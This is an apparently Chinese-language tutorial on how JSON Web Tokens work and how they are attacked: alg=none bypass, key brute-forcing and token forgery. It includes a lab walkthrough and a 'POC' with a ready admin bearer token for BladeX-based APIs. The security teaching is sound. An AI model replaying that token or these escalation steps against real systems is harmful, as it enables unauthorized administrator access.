JWT原理解析与实战通杀(附带POC)
字数 1950 2025-08-19 12:41:34

JSON Web Token (JWT) 原理与安全实践

1. JWT 概述

JSON Web Token (JWT) 是一种开放标准 (RFC 7519),用于在各方之间作为 JSON 对象安全地传输信息。JWT 可以被验证和信任,因为它是经过数字签名的。

1.1 JWT 的主要用途

  • 身份验证:最常见的用途,用户登录后获取 JWT,后续请求携带该令牌
  • 信息交换:安全地在各方之间传输信息

2. JWT 结构

JWT 由三个部分组成,用点号 (.) 分隔:

  1. Header (头部)
  2. Payload (负载)
  3. Signature (签名)

格式:Header.Payload.Signature

2.1 Header (头部)

包含令牌类型和签名算法,例如:

{
  "alg": "HS256",
  "typ": "JWT"
}
  • alg:签名算法 (如 HS256、RS256 或 none)
  • typ:令牌类型,固定为 "JWT"

2.2 Payload (负载)

包含声明 (claims),即关于实体和其他数据的声明。声明分为三类:

  1. Registered claims (注册声明):预定义的声明,如:

    • iss (issuer):签发者
    • exp (expiration time):过期时间
    • sub (subject):主题
    • aud (audience):受众
    • iat (issued at):签发时间
    • nbf (not before):生效时间
  2. Public claims (公共声明):可以自定义,但应避免冲突

  3. Private claims (私有声明):自定义声明,用于在同意使用它们的各方之间共享信息

示例:

{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}

2.3 Signature (签名)

用于验证消息在传输过程中未被篡改。签名生成方式取决于头部指定的算法。

对于 HMAC SHA256 (HS256):

HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  secret
)

3. Base64Url 编码

Base64Url 是 Base64 的变体,专为 URL 和文件名设计:

  • 字符集不同:
    • 标准 Base64 使用 +/
    • Base64Url 使用 -_ (避免 URL 特殊字符问题)
  • 去掉填充字符 =

4. JWT 工作流程

  1. 用户登录:用户提交凭证 (用户名/密码)
  2. 生成 JWT:服务器验证凭证后生成 JWT
  3. 返回 JWT:服务器将 JWT 返回客户端 (存储在 LocalStorage 或 Cookie)
  4. 携带 JWT 请求:客户端在请求头中携带 JWT (Authorization: Bearer <token>)
  5. 验证 JWT:服务器验证签名和声明
  6. 响应请求:验证通过后处理请求

5. JWT 安全攻防

5.1 常见攻击方法

  1. 暴力破解签名密钥

    • 针对弱密钥进行暴力破解
    • 防御:使用强密钥
  2. 算法替换攻击 (Algorithm Confusion)

    • 修改 algnone 绕过签名验证
    • 防御:严格验证 alg 字段
  3. 伪造 Token

    • 对称加密算法 (如 HS256) 密钥泄露后伪造 JWT
    • 防御:使用非对称加密 (如 RS256)
  4. 密钥泄露

    • 通过信息泄露获取签名密钥
    • 防御:保护密钥安全,定期更换

5.2 靶场示例

场景:通过未经验证的签名绕过 JWT 身份验证

  1. 使用已知凭证登录 (如 wiener:peter)
  2. 访问 /admin 页面被拒绝
  3. 修改 JWT 中 Payload 的 user_nameadministrator
  4. 重新签名或利用算法漏洞绕过验证
  5. 访问 /admin/delete?username=carlos 删除用户

5.3 实战 POC 分析

示例请求:

GET /api/blade-user/info HTTP/1.1
Host: ***
Blade-Auth: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0.RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFcwItxQ

Payload 解析

{
  "tenant_id": "000000",
  "user_name": "admin",
  "real_name": "管理员",
  "authorities": ["administrator"],
  "client_id": "saber",
  "role_name": "administrator",
  "license": "powered by bladex",
  "post_id": "1123598817738675201",
  "user_id": "1123598821738675201",
  "role_id": "1123598816738675201",
  "scope": ["all"],
  "nick_name": "管理员",
  "oauth_id": "",
  "detail": { "type": "web" },
  "account": "admin"
}

攻击思路

  1. 获取有效 JWT
  2. 修改 Payload 中的权限相关字段
  3. 尝试重新签名或利用算法漏洞
  4. 发送修改后的 JWT 获取管理员权限

6. 防御措施

  1. 使用强密钥:足够长且复杂的签名密钥
  2. 严格验证算法:拒绝 none 算法,验证 alg 字段
  3. 使用非对称加密:如 RS256 (公钥验证,私钥签名)
  4. 定期更换密钥:减少密钥泄露风险
  5. 设置合理过期时间:缩短 JWT 有效期
  6. 敏感操作二次验证:关键操作要求重新认证
  7. 黑名单机制:对已撤销但未过期的令牌进行管理

7. 实用工具

  • JWT 在线解析/构造https://jwt.io/
  • Burp Suite 插件:JWT Editor 等

8. 总结

JWT 提供了简洁、自包含的身份验证机制,但同时也存在多种安全风险。开发人员应充分理解 JWT 的工作原理,实施适当的安全措施,避免常见漏洞。安全团队则应熟悉 JWT 的攻击面,能够有效测试和防御相关风险。

JSON Web Token (JWT) 原理与安全实践 1. JWT 概述 JSON Web Token (JWT) 是一种开放标准 (RFC 7519),用于在各方之间作为 JSON 对象安全地传输信息。JWT 可以被验证和信任,因为它是经过数字签名的。 1.1 JWT 的主要用途 身份验证 :最常见的用途,用户登录后获取 JWT,后续请求携带该令牌 信息交换 :安全地在各方之间传输信息 2. JWT 结构 JWT 由三个部分组成,用点号 (.) 分隔: Header (头部) Payload (负载) Signature (签名) 格式: Header.Payload.Signature 2.1 Header (头部) 包含令牌类型和签名算法,例如: alg :签名算法 (如 HS256、RS256 或 none) typ :令牌类型,固定为 "JWT" 2.2 Payload (负载) 包含声明 (claims),即关于实体和其他数据的声明。声明分为三类: Registered claims (注册声明):预定义的声明,如: iss (issuer):签发者 exp (expiration time):过期时间 sub (subject):主题 aud (audience):受众 iat (issued at):签发时间 nbf (not before):生效时间 Public claims (公共声明):可以自定义,但应避免冲突 Private claims (私有声明):自定义声明,用于在同意使用它们的各方之间共享信息 示例: 2.3 Signature (签名) 用于验证消息在传输过程中未被篡改。签名生成方式取决于头部指定的算法。 对于 HMAC SHA256 (HS256): 3. Base64Url 编码 Base64Url 是 Base64 的变体,专为 URL 和文件名设计: 字符集不同: 标准 Base64 使用 + 和 / Base64Url 使用 - 和 _ (避免 URL 特殊字符问题) 去掉填充字符 = 4. JWT 工作流程 用户登录 :用户提交凭证 (用户名/密码) 生成 JWT :服务器验证凭证后生成 JWT 返回 JWT :服务器将 JWT 返回客户端 (存储在 LocalStorage 或 Cookie) 携带 JWT 请求 :客户端在请求头中携带 JWT ( Authorization: Bearer <token> ) 验证 JWT :服务器验证签名和声明 响应请求 :验证通过后处理请求 5. JWT 安全攻防 5.1 常见攻击方法 暴力破解签名密钥 针对弱密钥进行暴力破解 防御:使用强密钥 算法替换攻击 (Algorithm Confusion) 修改 alg 为 none 绕过签名验证 防御:严格验证 alg 字段 伪造 Token 对称加密算法 (如 HS256) 密钥泄露后伪造 JWT 防御:使用非对称加密 (如 RS256) 密钥泄露 通过信息泄露获取签名密钥 防御:保护密钥安全,定期更换 5.2 靶场示例 场景 :通过未经验证的签名绕过 JWT 身份验证 使用已知凭证登录 (如 wiener:peter) 访问 /admin 页面被拒绝 修改 JWT 中 Payload 的 user_name 为 administrator 重新签名或利用算法漏洞绕过验证 访问 /admin/delete?username=carlos 删除用户 5.3 实战 POC 分析 示例请求: Payload 解析 : 攻击思路 : 获取有效 JWT 修改 Payload 中的权限相关字段 尝试重新签名或利用算法漏洞 发送修改后的 JWT 获取管理员权限 6. 防御措施 使用强密钥 :足够长且复杂的签名密钥 严格验证算法 :拒绝 none 算法,验证 alg 字段 使用非对称加密 :如 RS256 (公钥验证,私钥签名) 定期更换密钥 :减少密钥泄露风险 设置合理过期时间 :缩短 JWT 有效期 敏感操作二次验证 :关键操作要求重新认证 黑名单机制 :对已撤销但未过期的令牌进行管理 7. 实用工具 JWT 在线解析/构造 : https://jwt.io/ Burp Suite 插件 :JWT Editor 等 8. 总结 JWT 提供了简洁、自包含的身份验证机制,但同时也存在多种安全风险。开发人员应充分理解 JWT 的工作原理,实施适当的安全措施,避免常见漏洞。安全团队则应熟悉 JWT 的攻击面,能够有效测试和防御相关风险。